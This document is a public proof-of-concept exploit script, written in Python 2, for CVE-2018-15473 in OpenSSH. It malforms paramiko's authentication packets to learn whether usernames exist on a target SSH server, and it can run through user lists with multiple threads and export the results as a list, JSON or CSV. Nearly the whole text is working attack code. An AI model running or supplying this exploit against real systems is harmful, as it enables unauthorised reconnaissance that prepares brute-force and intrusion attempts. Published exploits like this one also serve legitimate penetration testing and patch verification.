# Exploit: OpenSSH 7.7 - Username Enumeration # Author: Justin Gardner # Date: 2018-08-20 # Software: https://ftp4.usa.openbsd.org/pub/OpenBSD/OpenSSH/openssh-7.7.tar.gz # Affected Versions: OpenSSH version < 7.7 # CVE: CVE-2018-15473 ########################################################################### # ____ _____ _____ _ _ # # / __ \ / ____/ ____| | | | # # | | | |_ __ ___ _ __ | (___| (___ | |__| | # # | | | | '_ \ / _ \ '_ \ \___ \\___ \| __ | # # | |__| | |_) | __/ | | |____) |___) | | | | # # \____/| .__/ \___|_| |_|_____/_____/|_| |_| # # | | Username Enumeration # # |_| # # # ########################################################################### #!/usr/bin/env python import argparse import logging import paramiko import multiprocessing import socket import sys import json # store function we will overwrite to malform the packet old_parse_service_accept = paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT] # create custom exception class BadUsername(Exception): def __init__(self): pass # create malicious "add_boolean" function to malform packet def add_boolean(*args, **kwargs): pass # create function to call when username was invalid def call_error(*args, **kwargs): raise BadUsername() # create the malicious function to overwrite MSG_SERVICE_ACCEPT handler def malform_packet(*args, **kwargs): old_add_boolean = paramiko.message.Message.add_boolean paramiko.message.Message.add_boolean = add_boolean result = old_parse_service_accept(*args, **kwargs) #return old add_boolean function so start_client will work again paramiko.message.Message.add_boolean = old_add_boolean return result # create function to perform authentication with malformed packet and desired username def checkUsername(username, tried=0): sock = socket.socket() sock.connect((args.hostname, args.port)) # instantiate transport transport = paramiko.transport.Transport(sock) try: transport.start_client() except paramiko.ssh_exception.SSHException: # server was likely flooded, retry up to 3 times transport.close() if tried < 4: tried += 1 return checkUsername(username, tried) else: print '[-] Failed to negotiate SSH transport' try: transport.auth_publickey(username, paramiko.RSAKey.generate(1024)) except BadUsername: return (username, False) except paramiko.ssh_exception.AuthenticationException: return (username, True) #Successful auth(?) raise Exception("There was an error. Is this the correct version of OpenSSH?") def exportJSON(results): data = {"Valid":[], "Invalid":[]} for result in results: if result[1] and result[0] not in data['Valid']: data['Valid'].append(result[0]) elif not result[1] and result[0] not in data['Invalid']: data['Invalid'].append(result[0]) return json.dumps(data) def exportCSV(results): final = "Username, Valid\n" for result in results: final += result[0]+", "+str(result[1])+"\n" return final def exportList(results): final = "" for result in results: if result[1]: final+=result[0]+" is a valid user!\n" else: final+=result[0]+" is not a valid user!\n" return final # assign functions to respective handlers paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_SERVICE_ACCEPT] = malform_packet paramiko.auth_handler.AuthHandler._handler_table[paramiko.common.MSG_USERAUTH_FAILURE] = call_error # get rid of paramiko logging logging.getLogger('paramiko.transport').addHandler(logging.NullHandler()) arg_parser = argparse.ArgumentParser() arg_parser.add_argument('hostname', type=str, help="The target hostname or ip address") arg_parser.add_argument('--port', type=int, default=22, help="The target port") arg_parser.add_argument('--threads', type=int, default=5, help="The number of threads to be used") arg_parser.add_argument('--outputFile', type=str, help="The output file location") arg_parser.add_argument('--outputFormat', choices=['list', 'json', 'csv'], default='list', type=str, help="The output file location") group = arg_parser.add_mutually_exclusive_group(required=True) group.add_argument('--username', type=str, help="The single username to validate") group.add_argument('--userList', type=str, help="The list of usernames (one per line) to enumerate through") args = arg_parser.parse_args() sock = socket.socket() try: sock.connect((args.hostname, args.port)) sock.close() except socket.error: print '[-] Connecting to host failed. Please check the specified host and port.' sys.exit(1) if args.username: #single username passed in result = checkUsername(args.username) if result[1]: print result[0]+" is a valid user!" else: print result[0]+" is not a valid user!" elif args.userList: #username list passed in try: f = open(args.userList) except IOError: print "[-] File doesn't exist or is unreadable." sys.exit(3) usernames = map(str.strip, f.readlines()) f.close() # map usernames to their respective threads pool = multiprocessing.Pool(args.threads) results = pool.map(checkUsername, usernames) try: outputFile = open(args.outputFile, "w") except IOError: print "[-] Cannot write to outputFile." sys.exit(5) if args.outputFormat=='list': outputFile.writelines(exportList(results)) print "[+] Results successfully written to " + args.outputFile + " in List form." elif args.outputFormat=='json': outputFile.writelines(exportJSON(results)) print "[+] Results successfully written to " + args.outputFile + " in JSON form." elif args.outputFormat=='csv': outputFile.writelines(exportCSV(results)) print "[+] Results successfully written to " + args.outputFile + " in CSV form." else: print "".join(results) outputFile.close() else: # no usernames passed in print "[-] No usernames provided to check" sys.exit(4)